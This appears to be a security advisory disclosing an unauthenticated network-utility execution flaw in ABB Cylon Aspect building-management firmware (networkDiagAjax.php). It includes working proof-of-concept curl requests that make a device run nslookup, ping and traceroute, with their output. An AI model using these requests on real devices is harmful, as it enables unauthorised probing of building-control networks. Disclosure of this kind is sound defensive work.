ABB Cylon Aspect 3.08.01 (networkDiagAjax.php) Remote Network Utility Execution
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.01
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: The vulnerability allows an unauthenticated attacker to perform network
operations such as ping, traceroute, or nslookup on arbitrary hosts or IPs by
sending a crafted GET request to networkDiagAjax.php. This could be exploited
to interact with or probe internal or external systems, leading to internal
information disclosure and misuse of network resources.
Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
Advisory ID: ZSL-2024-5844
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5844.php
21.04.2024
--
$ cat project
                 P   R   O   J   E   C   T
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                        |'|            ._____
                ___    |  |            |.   |' .---"|
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     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
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         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░ 
$ curl "http://192.168.73.31/networkDiagAjax.php?command=nslookup&host=packetstormsecurity.org"
<div>Server:    8.8.8.8<br>
Address 1: 8.8.8.8 dns.google<br>
<br>
Name:      packetstormsecurity.org<br>
Address 1: 198.84.60.198 198-84-60-198.ash01.rokabear.com<br>
</div>
$ curl "http://192.168.73.31/networkDiagAjax.php?command=ping&host=1.1.1.1"
<div>PING 1.1.1.1 (1.1.1.1): 56 data bytes<br>
64 bytes from 1.1.1.1: seq=0 ttl=53 time=61.176 ms<br>
64 bytes from 1.1.1.1: seq=1 ttl=53 time=60.986 ms<br>
64 bytes from 1.1.1.1: seq=2 ttl=53 time=100.660 ms<br>
<br>
--- 1.1.1.1 ping statistics ---<br>
3 packets transmitted, 3 packets received, 0% packet loss<br>
round-trip min/avg/max = 60.986/74.274/100.660 ms<br>
</div>
$ curl "http://192.168.73.31/networkDiagAjax.php?command=traceroute&host=127.0.0.1"
<div>traceroute to 127.0.0.1 (127.0.0.1), 30 hops max, 38 byte packets<br>
 1  localhost.localdomain (127.0.0.1)  0.019 ms  0.010 ms  0.009 ms<br>
</div>